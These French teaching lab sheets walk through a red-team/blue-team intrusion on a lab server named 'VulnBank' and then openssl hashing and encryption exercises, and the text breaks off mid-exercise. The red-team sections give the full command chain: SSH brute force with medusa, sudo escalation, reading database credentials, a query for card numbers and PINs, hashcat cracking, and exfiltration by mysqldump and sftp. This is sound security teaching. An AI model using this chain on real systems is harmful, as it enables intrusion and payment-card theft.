Sécurité
Fiche TP - Kali 01 - intrusion système
I. Introduction
Disclaimer : Merci de lire les notes suivantes avant d'aller plus loin dans ces TP.
- Il est essentiel d'avoir pris connaissance et signé le contrat remis par le moniteur chargé des cours en cybersécurité.
- Ces TP ont pour vocations à être utilisés dans les environnement de tests prévus à cet effet.
- Pour rappel, toute utilisation des compétences évoqués plus bas à des fins malveillantes sont sévèrement punies par la loi.
1.1 Contexte
|
La société bancaire VulnBank à vu les données de ses clients exposées à la suite d'une fuite de donnée.
Elle vous a missionné pour reproduire l'attaque afin d'en comprendre le déroulé et d'en tirer une série de correction amenant à ce qu'elle ne se reproduise pas. |
1.2 Objectifs
L'objectif de la team RED va être ici de dérouler le processus de l'attaque sur un serveur linux contenant un accès SSH remote, un site en http et une base de donnée. Le but final est d'organiser une fuite de donnée.
L'objectif de la team BLUE est habituellement de défendre son serveur, en anticipant les vecteurs d'attaques, en analysant le déroulé de l'attaque de la RED team et en essayant de trouver à posteriori des mesures pour contrer ce type d'attaque.
II. Préparation du TP
| RED | BLUE |
|
|
III. Phase 1 : Reconnaissance
Pour la RED team
Objectif : Identifier les surfaces d'attaques
L'équipe RED va tout d'abord scanner le réseau afin de déterminer quelles sont les machines de l'équipe BLUE.
Pour cela, il faudra utiliser l'outil nmap :
nmap -sn <cidrDuRéseau>
Pourra s'ensuivre une phase de découverte des ports ouverts sur cette machine afin de déterminer les angles d'attaques possibles.
nmap -sV -A <ipdelacible>
Ici, deux vecteurs immédiats possibles :
- le SSH : 22
- le HTTP : 80
Il est possible de compléter l’analyse avec un scan web. Récupérer le fichier dictionnaire dans le fichier joint.
gobuster dir -u http://<ipduserveur>/ -w ./weblist.txt
Énumérer également les fichiers dans les répertoires intéressants comme db par exemple
Livrables attendus :
- Carte des services explosés
- Cartographie du site web
- Vulnérabilités potentielles
Pour la BLUE team
Objectif : Détecter la reconnaissance
De son côté, l'équipe BLUE va analyser le trafic avec wireshark. Vérifier si elle vois les traces des scans de ports.
Logs du serveur apache sur le scan :
tail -f /var/log/apache2/access.log
Puis lors du scan web, examiner le fichier de log apache :
L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :
- Comment contrer la reconnaissance réseau ?
- Comment contrer les scans de ports ?
Mise en place d'un pare-feu en amont, mise en place du masquerading pour rendre plus difficile la récolte d'information.
Changer les ports d'écoute par défaut de tous les services pouvant l'être.
Mise en place d'un IDS/IPS pour repérer et bloquer les tentatives de scan.
Mise en place d'un centralisateur de logs et d'un SIEM ( Security Information and Event Management ).
Livrables attendus:
- Tableau des événements suspects
- Hypothèses d'intention de l'attaquant
IV. Phase 2 : Préparation
Pour la RED team
Objectif : Préparer les outils nécessaire à l'attaque
L'équipe RED va ensuite préparer son attaque par dictionnaire, pour cela il va falloir en créer un ou en copier des existants.
Récupérer les dictionnaires fournis en pièces jointes pour l'accès initial.
Le but étant ultimement d'exploiter des codes de cartes bleues à 4 chiffres, il sera nécessaires également de préparer un dictionnaire contenant tous les codes possibles.
Pour le générer, utiliser crunch :
crunch 4 4 0123456789 -o pin.txt
Info : Si une partie du mot de passe est connue, (par exemple och*****), ajouter -t och@@@ pour générer un dictionnaire plus précis et réduire les possibilités.
Pour la BLUE team
Objectif : Identifier les faiblesses structurelles
De son côté, l'équipe BLUE va réfléchir à comment sécuriser ses accès.
L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :
- Comment choisir et protéger ses mots de passes ?
- Quels éléments vérifier lors de la mise en oeuvre du service ?
Utiliser des mots de passes complexes, hors dictionnaire, les changer régulièrement, utiliser des canaux sécurisés pour leur transmission.
Utiliser un Générateur de mots de passe et un vault.
Vérifier les permissions, les comptes de services, analyses des mots de passe faibles.
Analyse des fichiers de configurations (/etc/ssh/sshd_config)
V. Phase 3 : Intrusion
Pour la RED team
Objectif : Obtenir un accès initial
L'équipe RED va lancer son attaque sur le service SSH de la machine à l'aide des dictionnaires fournis.
medusa -U logins.txt -P passwords.txt -h <ipduhost> -M ssh
Une fois le compte et le mot de passe identifié, il suffira d'ouvrir une session SSH avec :
ssh admin@<ipduserver>
Accepter la clé et entrer le mot de passe trouvé.
Puis identifier les services qui se trouvent sur la machine :
service --status-all
Livrables attendus :
- Preuves d'accès (captures d'écran du shell).
- Commandes utilisées, dictionnaires utilisés.
Pour la BLUE team
Objectif : Identifier l'intrusion
De son côté, l'équipe BLUE va analyser les tentatives de connexions :
tail -f /var/log/auth.log | grep -E 'Failed|Accepted'
L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :
- Comment protéger son acces SSH contre la bruteforce ?
Utiliser des mots de passes complexes, hors dictionnaire, les changer régulièrement, utiliser des canaux sécurisés pour leur transmission.
Mettre en places des mécanismes permettant de limiter le nombre de tentatives, mettre en place du blocage et du bannissement d'IP, interdire la connexion directe de comptes à privilèges.
Ultimement, utiliser une authentification par clé et non par mot de passe.
Mettre en place les logs et les audits de connexions pour pouvoir réagir rapidement en cas d'attaque.
Livrables attendus :
- Chronologie de l'intrusion
- Preuves logiques (extraits de logs)
VI. Phase 4 : Mouvement latéral
Le serveur est ici accessible en local et héberge lui-même tous les rôles. Pas de mouvement latéral requis.
Cependant, l'équipe BLUE peut néanmoins fournir une analyse quand à comment limiter les mouvement latéraux.
Segmentation réseau : Mise en place de VLAN, routeurs et de pare-feu intermédiaire.
Comptes à privilèges minimaux
Durcissement SSH.
VII. Phase 5 : Escalade de privilèges
Pour la RED team
Objectif : Devenir root.
L'équipe RED va chercher un moyen d'élever ses privilèges.
Cela commence par identifier les comptes à privilèges :
cat /etc/group | grep sudo
Ici, deux comptes repérés : ste4d- et admin.
Le compte connecté est donc lui-même dans les sudoers.
Si l'on fait :
sudo -s
l'on peut basculer en super admin.
Info : Il aurait également été possible pour cette étape, d'injecter un exploit ou d'utiliser un compte de service mal paramétré par exemple.
Livrables attendus :
- Preuve de l'escalade
- Méthode utilisée (détaillée).
Pour la BLUE team
Objectif : Comprendre comment l'élévation à été possible.
De son côté, l'équipe BLUE va :
Analyser les permissions
Vérifier les SUID
Vérifier les journaux sudo.
tail -f /var/log/auth.log | grep sudo
L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :
- Comment repérer une intrusion réussie ?
- Comment éviter une escalade de privilège ?
Utiliser des mots de passes complexes, hors dictionnaire, les changer régulièrement, utiliser des canaux sécurisés pour leur transmission.
Mettre en place des mesures pour journaliser les connexions.
Séparer les comptes à privilèges des comptes d'utilisations courants.
Info : ici, l'utilisation n'a pas nécessité la mise en place d'un exploit, mais cela peut être le cas. Le seul moyen de s'en prémunir efficacement reste l'installations d'EDR sur les machines.
Livrables attendus :
- Chronologie de l'intrusion
- Preuves logiques (extraits de logs)
VIII. Phase 6 : Persistance
La phase de persistance ne sera pas développée dans ce TP, mais dans les suivants.
Néanmoins, plusieurs méthodes :
- Ajout d'une clé SSH
- Ajout d'un utilisateur caché
- Ajout d'un CRON malveillant + exploit
IX. Phase 7 : Actions sur objectifs
Pour la RED team
Objectif : Exfiltrer les données.
L'équipe RED va chercher un moyen d'accéder à la donnée.
Il va donc falloir gagner un accès à la base. Cela peut se faire via des exploit webs, mais la solution ici sera plus simple.
En effet, le site à besoin de se connecter aux bases de données afin de procéder à l'authentification et à l'affichage du tableau de bord.
De plus, l'audit du site web a mise en évidence ce fichier.
Il y a effectivement un fichier config.php dans /var/www/vulnbank/db.
Essayons de l'afficher.
cat /var/www/vulnbank/db/config.php
Celui-ci à en effet été mal protégé.
Tentons une connexion à la base de donnée.
mysql -u vulnbank -p
Il faut maintenant en comprendre la structure et essayer de retrouver les données qui nous intéressent. Cela se fera par des bases des Requêtes SQL.
SHOW TABLES FROM bank;
Pour avoir toutes les informations, il va falloir croiser les informations présentes dans les tables.
Maintenant que nous savons comment sont structurées les données, il faut lancer une requête qui va les agréger.
SELECT cu.first_name, cu.last_name, ca.number, ci.expirationdate, ci.cryptograme, ci.pin
FROM bank.customers cu
LEFT JOIN bank.cards ca
ON ca.customer_id = cu.id
LEFT JOIN bank.cardsinfo ci
ON ci.card_id = ca.id;
Il ne reste plus qu'a déchiffrer les codes PIN. Ceux-ci sont visiblement hashés.
Pour plus de facilité, les réunir dans un fichier texte.
Il faut donc déjà identifier le type de hash :
hash-identifier 101951fe7ebe7bd8c77d14f75746b4bc
Le plus probable est du 'MD5', il est maintenant possible de cracker les hashs :
hashcat -m 0 hashs.txt pin.txt
A la fin du process, les hashs qui ont été déchiffrés s'affichent.
Il est également possible de les ré afficher avec :
hashcat -m 0 hashs.txt pin.txt --show
Info : Plutôt que de traiter les informations sur place, il est plus intéressant de les exfiltrer pour les travailler de son côté.
Faire un dump de la base :
mysqldump -u vulnbank -p bank > mondump.sql
Malgré le message d'erreur, le fichier à bien été dumpé.
Il faut le récupérer, par exemple avec une connexion sftp.
sftp admin@<ipserveur>
get <chemin/vers/fichier/distant> <chemin/vers/fichier/local>
exit
Livrables attendus :
- Preuves de l'exfiltration
- Méthode utilisée
Pour la BLUE team
Objectif : Détecter la fuite.
De son côté, il est temps pour l'équipe BLUE de tirer les leçons de l'incident.
Analyser les différents logs applicatifs et reconstruire le déroulé de la fuite.
L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :
- Comment les attaquants ont-ils procédé ?
- Quel a été l'impact ?
- Comment sécuriser l'accès a ses données ?
- (Si déjà abordé) Faire une analyse EBIOS.
Livrables attendus :
- Rapport d'incident.
- Mesures correctives.
Conclusion
A la fin de cet exercice, les deux équipes ont pu mieux cerner les implications en terme de sécurité de la bonne configuration ou non des services sur ces systèmes d'informations.
Les failles exploitées ici sont avant tout des failles d'origine humaines.
- Utilisations de mots de passes faibles.
- Mauvaises configuration des permissions.
- Non respect des bonnes pratiques.
Fiche TP - Hash, chiffrement, utilisation et limitations.
Cette fiche TP Vise à accompagner le cour sur le hachage et le chiffrement. Le contenu sera déroulé en parallèle du cour pour illustrer le propos.
Prérequis : Les TP ci-dessous seront réalisés sur openSSL.
Installation sur debian : apt install openssl
Installation sur windows : winget install openssl
TP1 - Hashage
Objectif :
- Comprendre le fonctionnement des fonctions de hachage.
- Voir les différences entre les algorithmes.
- Observer un effet "avalanche"
Exercice 1 : Génération des empreintes et tests de hash
Créer un fichier texte qui contiendra un message simple :
echo "Bonjour les BTS SIO/CIEL !" > message.txt
Calculer un premier hash :
openssl dgst -sha1 message.txt
copier / coller le fichier en message1.txt et calculer également son hash.
info : On constate bien que si même donnée d'entrée, même donnée de sortie.
Tester ensuite avec des algorithmes plus complexe ayant une clé suppérieure.
openssl dgst -sha256 message.txt
openssl dgst -sha512 message.txt
Info : On constate bien la différence de complexité d'un algo à l'autre.
Tester maintenant l'effet "Boule de neige".
Modifier un caractère dans le fichier, en changeant par exemple le '!' en '?'. Recalculer le hash.
Info : On constate bien que toute modification, aussi infime soit-elle, entraîne une modification conséquente du hash.
Exercice 2 : Limitation du hash sur les mots de passe faibles.
Chiffrer un mot de passe avec un algorithme volontairement vulnérable dans un fichier texte :
echo -n "azerty" | md5sum
Copier la chaîne de caractères sans le ' -' dans un fichier texte appelé par exemple 'password.txt'
Installer 'hashcat'.
Récupérer ou éditer un dictionnaire simple ( il y en a un fourni en pièce jointe de cette page).
Pour casser le hash, il suffit d'exécuter la commande suivante :
hashcat -m 0 password.txt dictionnaire.txt
Info : On voit ici que le mot de passe a été correctement deviné et que cela à pris moins d'une seconde.
Nous pouvons en conclure que l'utilisation de mots de passe simple et d'algorithmes obsolètes est à proscrire.
TP2 - Chiffrement symétrique
Objectif :
- Comprendre AES et les modes de chiffrement.
- Manipuler une clé symétrique.
- Observer les différences entre ECB et CBC.
Exercice 1 : chiffrer et déchiffrer un fichier
Conseil : Proposer aux étudiants de chiffrer un message, puis d'échanger leurs messages et se donner la clé sur un support à part ou à l'oral.
Chiffrer le fichier 'message.txt'. Il va demander un mot de passe qui fera office de clé de chiffrement.
openssl enc -aes-256-cbc -salt -in message.txt -out message.enc
Déchiffrer le message :
openssl enc -aes-256-cbc -d -salt -in message.enc -out message.dec
Exercice 2 : ECB vs CBC
Selon les cas, certaines méthodes de chiffrements sont plus efficaces que d'autres.
Récupérer l'image fournie dans le TP ou la télécharger. Puis créer deux version chiffrées de cette image.
openssl enc -aes-256-ecb -in Tux-PNG-Pic.png -out image1.enc
openssl enc -aes-256-cbc -in Tux-PNG-Pic.png -out image2.enc
Le résultat est qu'il est facile avec le SCB, d'isoler des paterns avec un editeur hexadécimal ou avec un visualiseur d'images chiffrées.
TP3 - Chiffrement asymétrique
Objectif :
- Générer une paire de clés RSA.
- Chiffrer/déchiffrer.
- Signer/vérifier.
Conseil : Proposer aux étudiants d'échanger les clés publiques avec un binôme, puis de se faire passer un message chiffré.
Exercice 1 : Générer un couple de clé privée/publique
Générer le couple de clé avec les commandes suivantes :
openssl genrsa -out private.key 2048
openssl rsa -in private.key -pubout -out public.key
Échanger les clé ou procéder soi-même au chiffrement / déchiffrement.
Chiffrer le message avec la clé publique :
openssl pkeyutl -encrypt -inkey public.key -pubin -in message.txt -out message.enc
Déchiffrer ou faire déchiffrer par son binôme avec la clé privée :
openssl pkeyutl -decrypt -inkey private.key -in message.enc -out message_decrypt.txt
Exercice 2 : Signature numérique de document
Signer un document avec la clé privée :
openssl dgst -sha256 -sign private.key -out signature.bin message.txt
La signature (.bin) et le message (.txt) sont transmis au binôme ou vérifié par soi-même avec la clé publique.
openssl dgst -sha256 -verify public.key -signature signature.bin message.txt
Info : Le message 'verified OK' signifie que l'identité de l'émeteur du fichier est vérifié. Mais également que le message en question n'a pas été altéré.
En effet, faire une modification sur le message.txt et relancer la commande :